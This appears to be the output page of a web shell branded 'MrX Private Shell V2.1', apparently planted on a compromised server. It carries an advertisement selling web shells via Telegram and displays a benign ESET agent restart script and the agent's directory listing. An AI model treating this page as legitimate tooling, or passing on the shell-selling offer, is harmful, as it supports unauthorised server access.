__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/sh
# ESET Management Agent
#
# Copyright (c) 2026 ESET, spol. s r.o.
# clear environment variable UPSTART_SESSION -> otherwise initctl wont work as expected
unset UPSTART_SESSION
service_name="eraagent"
systemd_service="eraagent.service"
if command -v systemctl > /dev/null 2>&1
then
if systemctl is-active $systemd_service > /dev/null 2>&1
then
systemctl restart $systemd_service
else
echo "Service $systemd_service is not running."
exit 1
fi
elif command -v initctl > /dev/null 2>&1 && [ -d /etc/init/ ]
then
if initctl status $service_name 2> /dev/null | grep running > /dev/null 2>&1
then
initctl restart $service_name
else
echo "Service $service_name is not running"
exit 1
fi
else
if /etc/init.d/$service_name status | grep running > /dev/null 2>&1
then
/etc/init.d/$service_name restart
else
echo "Service $service_name is not running."
exit 1
fi
fi
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Database | Folder | 0755 |
|
|
| Modules | Folder | 0775 |
|
|
| selinux | Folder | 0755 |
|
|
| CustomActions | File | 7.13 MB | 0755 |
|
| NativeSqliteConnector.so | File | 2.67 MB | 0644 |
|
| eraagent | File | 3.15 KB | 0755 |
|
| eraagent.conf | File | 331 B | 0644 |
|
| info_get.command | File | 21.99 KB | 0755 |
|
| installer_backup.sh | File | 49.21 MB | 0511 |
|
| restart.sh | File | 987 B | 0755 |
|
| uninstall.sh | File | 5.42 KB | 0755 |
|